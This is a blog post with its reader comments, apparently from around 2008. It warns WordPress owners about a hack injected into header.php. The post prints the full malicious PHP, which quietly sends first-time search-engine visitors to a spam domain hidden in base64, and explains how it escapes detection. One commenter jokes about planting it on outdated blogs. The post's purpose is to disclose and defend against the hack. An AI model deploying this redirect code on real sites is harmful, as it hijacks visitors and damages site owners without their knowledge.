WordPress Redirect h4x’s

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Lately I have noticed some peoples blogs had been redirecting to some spammy landing page when you goto them from Google. I notified them about it and they thought I was nuts… cause they could not reproduce it.

Donncha (wish your girlfriend was hot like me(sorry)) O Caoimh well known wordpress developer has made a great post about how sites are hacked and also what to look for.

Donncha also has pinpointed the redirect and cookie hack which is very difficult to detect but what I have suspected has been going on:

< ?php $seref=array("google","msn","live","altavista","ask","yahoo","aol","cnn","weather","alexa");

$ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false){ $ser="1"; break; }

if($ser=="1" && sizeof($_COOKIE)==0){ header("Location: http://".base64_decode("YW55cmVzdWx0cy5uZXQ=")."/"); exit; }?>

The code above basically redirects people from your website to their choice if:

1) they are coming from a search engine or other big referral site.
2) they have never visited your site before (no cookies are set).

Its pretty slick and very hard to detect since only NEW visitors would be effected.

Make sure you check all of your blogs for that code. (in header.php)

74 thoughts on “WordPress Redirect h4x’s

  1. Jeff - buzzmyblog.com

    Actually, you would probably still see the search engine traffic, right? The search engine would still send the traffic to your site, but then the hack would redirect it somewhere else.

  2. ShoeMoney


    Since the file still loads on your site the hit and refer will still register in your apache log files. So log parsers would still see it.

    Javascript based analytics like Google Analytics though would show a decline (since the javascript is not proccessed)

    BUT this hacker could simply have a iframe with your site loaded on his redirect and your stats would look the exact same.

  3. Tyler Ingram

    I know this is a bit picky with code but you could of also showing it using using in_array() instead of a foreach loop ;) But then again you were just showing how it could be done.

  4. Sports Picks

    Very clever! I guess another way to detect it will be to clear the browser cookies for your site (I personally use the Add N Edit Cookies plugin for Firefox), then google your site and click a link and see what happens.

  5. Steve McGrath

    I was expecting that you were going to talk about “wp-stat-php” which gave the same symptoms. Zero traffic from Google. One of my blog got it last week. People using Google could not access it and I could not even login into my blog. I wrote a post about it to that others learn about this one. I got the worst case of “wp-stat-php” .

    Removing wp-stats-php

    I since upgraded my whole blog network to be safer. Those with niche or not often updated could lose money/time. I sure did. :(

    So, people, upgrade to the latest version of WP.

    Yours is another example of someone using a security weakness.

    Do you know if it was with WP 2.5.1?

  6. it gossips

    I’ve decoded the base 64 code and the link is pointing to anyresults.net. :D LOL. Thanks for great example!
    Now the only problem is how to inject this script to wordpress blogs. Using old versioned wordpress bugs is a great idea. But I won’t do it :D

  7. Merlin

    Two things, first and most relevent; how is this code inserted into the header page?

    Second, please stop slandering hackers. I will not bother reiterating what others have said before me; enjoy a message from Stallman [with a note or two from me]:
    This letter is not meant for publication, although you can publish it if you wish. It is meant specifically for you, the editor, not the public.

    I am a hacker. That is to say, I enjoy playing with computers working with, learning about, and writing clever computer programs. I am not a cracker; I don’t make a practice of breaking computer security. [In fact, I make a practice of increasing computer security]

    There’s nothing shameful about the hacking I do. But when I tell people I am a hacker, people think I’m admitting something naughty because news[sources] such as yours misuse the word “hacker”, giving the impression that it means “security breaker” and nothing else. You are giving hackers a bad name.

    The saddest thing is that this problem is perpetuated deliberately. Your reporters know the difference between “hacker” and “security breaker”. They know how to make the distinction, but you don’t let them! You insist on using “hacker” pejoratively. When reporters try to use another word, you change it. When reporters try to explain the other meanings, you cut it.

    Of course, you have a reason. You say that readers have become used to your insulting usage of “hacker”, so that you cannot change it now. Well, you can’t undo past mistakes today; but that is no excuse to repeat them tomorrow.

    If I were what you call a “hacker”, at this point I would threaten to crack your computer and crash it. But I am a hacker, not a cracker. I don’t do that kind of thing! I have enough computers to play with at home and at work; I don’t need yours. Besides, it’s not my way to respond to insults with violence. My response is this letter.

    You owe hackers an apology; but more than that, you owe us ordinary respect.

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  9. Melvin

    actually i have read it in my wordpress admin and really have looked instantly to my header.php.. thanks for the reminder though

  10. Merlin

    Even with permissions they still need a way to upload the file if they edit it. Most likely the account was compromised via plaintext FTP sniffing, which is still sickeningly common.

  11. ShoeMoney

    hahaha please……..

    Ive been a speaker at defcon and blackhat conferences and going for the last 8 years…. Was a security administrator for one of the largest banks in the world for years before that.

    I know you think you sound smart quoting some dude but you come off like a asshole

  12. Gav

    I assume this hack finds it’s way in when you download a dodgy/free template? I’ve noticed lots of WP templates have loads of suspicious looking code in there that only looks like it’s hiding something…

  13. Terry Tay

    The food and bad about the interenet. THe bad being always having to look out for these things…The good being blogs like this looking out for us and helping us along.

  14. Kevin

    I have had this happen before when I clicked and ad for a site. Now I know what to look for in my own sites I am going to take a god look. Thanks Shoe.

  15. Graham Langdon

    dude, Shoe, I think you’re site is infected with this or something similar. I went to shoemoney.com directly from my browser, and it took me to “GetGoogleAdsFree.com” or something like that. I was like wtf? Then I typed in Shoemoney.com again and came here successfully.

    Just givin you a heads up. Ironic you had a post up about it.

  16. Samir

    Nice find Jeremy. If you clear your cache and cookies shouldn’t you see this issue when you go to your site then?

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  20. PPC

    Let’s face it people, there will always be internet pirates trying to rustle your traffic. They will get caught out, their tactics will change, but one thing wont. They will always be around, and hats off to people like O Caoimh for exposing their tr5icks.

  21. Krayzie

    Thanks for the heads up, Ill def check my blog for this. Thats a purty damn smart way to steal some traffic. And lmao that hacker rant was funny as hell.

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  27. Internet Marketing

    An intriguing discussion is definitely worth comment. I do think that you ought to publish more about this subject matter, it might not be a taboo matter but generally people do not talk about such topics. To the next! Best wishes!!

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